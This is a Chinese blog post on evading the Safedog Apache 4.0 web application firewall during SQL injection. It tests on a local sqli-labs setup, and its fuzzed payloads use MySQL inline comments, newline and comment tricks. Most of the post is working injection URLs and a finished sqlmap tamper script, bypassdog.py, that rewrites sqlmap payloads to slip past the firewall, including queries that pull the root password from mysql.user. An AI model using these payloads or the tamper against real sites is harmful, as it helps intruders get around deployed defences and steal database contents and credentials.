最新过狗注入之tamper适配所有注入类型

写在前面

过狗注入,其实是对Safedog各种过滤规则的bypass。本文以Safedog官网最新ApacheV4.0版本为例,通过对参数的Fuzz,实现过狗注入,并编写tamper脚本。

环境准备

安全狗最新ApacheV4.0版(Windows)
Sqli-lab-Less-1
Sqlmap V1.4.3.9
Phpstudy8.1.1.2集成环境:Apache2.4.39、Mysql5.5.29

Sqli-lab-Less-1中包含了联合查询、报错注入、布尔盲注、时间延时盲注等注入姿势,方便我们进行测试。

Fuzz测试

我们从手工注入过程出发,通过对参数的Fuzz测试,查看绕过姿势。

AND

index.php?id=1' //不拦截
index.php?id=1'and 1=1%23 //拦截

这里可以使用取反或负数绕过

index.php?id=1'and ~1=~1%23
index.php?id=1'and -1=-1%23

也可以使用内联注释绕过。

/*!注释内容*/
这种注释在Mysql中称为内联注释,注意若!后面接上数据库版本号字符串,当实际版本号大于或者等于该字符串时,Mysql就会将注释内容解析为SQL语句,否则当做注释处理。此特性被广泛应用到SQL注入绕过Waf的实践中。

我们当前的数据库版本号为5.5.29,对应字符串为50529,利用burp进行内联注释Fuzz:

这里可用的payload很多,我们不必等burp跑完,选个合适payload即可。

这里我们选择44321进行测试,成功绕过:

ORDER BY

index.php?id=1' order by 3%23 //拦截

使用内联注释绕过:

index.php?id=1'/*!44321order*/by 3%23 //不拦截
index.php?id=1'order/*!44321*/by 3%23 //不拦截
index.php?id=1'order/*!44321by*/3%23 //不拦截

UNION SELECT

index.php?id=1' and -1=-2 UNION SELECT 1,2,3%23 //拦截

内联注释绕过:

这里需要注意,测试过程中发现UNION SELECT利用上面的payload 44321进行内联注释依旧被拦截,我们需要重新利用burp对payload(UNION SELECT)进行Fuzz,这里我们选择29440进行测试,后面将payload统一成29440

index.php?id=1' and -1=-2 UNION/*!44321*/SELECT 1,2,3%23 //拦截
index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,2,3%23 //不拦截
index.php?id=1' and -1=-2 /*!29440UNION*/SELECT 1,2,3%23  //拦截
index.php?id=1' and -1=-2 UNION/*!29440SELECT*/ 1,2,3%23 //不拦截

USER()、DATABASE()

index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,user(),3%23 //拦截
index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,database(),3%23 //拦截

在Mysql中,SELECT USER()等效于SELECT USER (),DATABASE()同理,因此使用内联注释绕过:

index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,user/*!29440*/(),3%23 //不拦截
index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,database/*!29440*/(),3%23 //不拦截

这里也可以使用括号加普通注释绕过:

index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,(user/**/()),3%23 //不拦截
index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,(database/**/()),3%23 //不拦截

FROM

测试发现查表和字段时被拦截:

index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database/*!29440*/()%23 //拦截
index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273%23 //拦截

内联注释处理from即可绕过:

index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,group_concat(column_name),3 /*!29440from*/ information_schema.columns where table_name=0x7573657273%23 //不拦截
index.php?id=1' and -1=-2 UNION/*!29440*/SELECT 1,group_concat(table_name),3 /*!29440from*/ information_schema.tables where table_schema=database/*!29440*/()%23 //不拦截

SESSION_USER()

测试发现Sqlmap在运行过程中调用SESSION_USER()函数被安全狗拦截:

index.php?id=1' union/*!29440select*/ NULL,NULL,CONCAT(0x7178766271,(CASE WHEN (HEX(SESSION_USER()) LIKE hex((user/**/())) THEN 1 ELSE 0 END),0x716b786a71)%23 //拦截

这里SESSION_USER()并不能像USER()一样处理,但是可以利用Mysql换行依旧可以执行的特性绕过

SQL注入关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。

index.php?id=1' union/*!29440select*/ NULL,NULL,CONCAT(0x7178766271,(CASE WHEN (SESSION_USER(%0a) LIKE ((user/**/())) THEN 1 ELSE 0 END),0x716b786a71)%23 //不拦截

tamper编写

联合查询

简单的Fuzz测试完毕后,我们利用sqlmap来配合完成对tamper的编写。

先利用Sqlmap判断注入点:

python sqlmap.py -u "http://localhost/Less-1/index.php?id=1" -v 3 --dbms=mysql --random-agent --technique U  //这里使用联合查询的方式来测试

由于安全狗会拦截UNION SELECT操作,所以这里注入点是无法判断出来的:

我们在tamper目录中新建名为bypassdog.py的tamper文件,在tamper中添加绕过代码:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW //调用多个tamper时优先级受此影响

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!29440AND*/') // 处理AND
    payload=payload.replace('ORDER','/*!29440order*/') // 处理ORDER
    payload=payload.replace('UNION ALL SELECT','union/*!29440select*/') //处理UNION SELECT
    return payload

调用tamper,成功判断出注入点:

python sqlmap.py -u "http://localhost/Less-1/index.php?id=1" -v 3 --dbms=mysql --random-agent --technique U --tamper bypassdog

当然我们还需要加入其他的绕过代码,使Sqlmap在进行数据查询和其他操作时不会被安全狗拦截,部分代码如下:

payload=payload.replace('LIKE USER()','like (user/**/())')
payload=payload.replace('DATABASE()','database/**/()')
payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()') //处理 --current-user命令
payload=payload.replace('SESSION_USER()','SESSION_USER(%0a))')
payload=payload.replace('super_priv','/*!29440/**/super_priv*/') //处理 --is-dba命令
payload=payload.replace('and host=','/*!29440and*/host/*!29440=*/') //处理 --sql-shell 查询root密码

Sqlmap测试联合查询方式注入,不会被拦截:

时间延时

Sqlmap处理时间延时注入时使用了BENCHMARK()函数,被安全狗拦截:

index.php?id=1' /*!29440AND*/ 1340=IF((ORD(MID((SELECT IFNULL(CAST(COUNT
(password) AS NCHAR),0x20) FROM mysql.user WHERE user=0x726f6f74 /*!29440and*/host/*!29440=*/0x6c6f63616c686f7374),1,1))>51),BENCHMARK(5000000,MD5(0x45534a7a)),1340)-- OEoS //拦截

使用内联注释绕过

index.php?id=1' /*!29440AND*/ 1340=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(password) AS NCHAR),0x20) FROM mysql.user WHERE user=0x726f6f74/*!29440and*/host/*!29440=*/0x6c6f63616c686f7374),1,1))>51),BENCHMARK/*!29440*/(5000000,MD5(0x45534a7a)),1340)-- OEoS //不拦截

在tamper加入对BENCHMARK()函数的处理:

payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')

Sqlmap测试时间延时注入,不会被拦截:

报错注入

tamper可直接绕过安全狗对报错注入的拦截:

布尔盲注

tamper可直接绕过安全狗对布尔盲注的拦截:

堆叠注入

Sqlmap一般利用SLEEP()函数和BENCHMARK()函数判断堆叠注入,拦截情况如下:

index.php?id=1';select sleep()%23 //拦截
index.php?id=1';select sleep/**/()%23 不拦截

因此tamper中加入对SLEEP()函数的处理:

payload=payload.replace('SLEEP(','sleep/**/(')

最终tamper

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!29440AND*/')
    payload=payload.replace('ORDER','/*!29440order*/')
    payload=payload.replace('LIKE USER()','like (user/**/())')
    payload=payload.replace('DATABASE()','database/*!29440*/()')
    payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
    payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
    payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
    payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
    payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
    payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
    payload=payload.replace('SLEEP(','sleep/**/(')
    return payload

参考文章

从过狗到编写tamper

sql注入、文件上传绕过apacha4.0版安全狗

posted @ 2021-01-11 15:49  cHr1s_h  阅读(459)  评论(0编辑  收藏  举报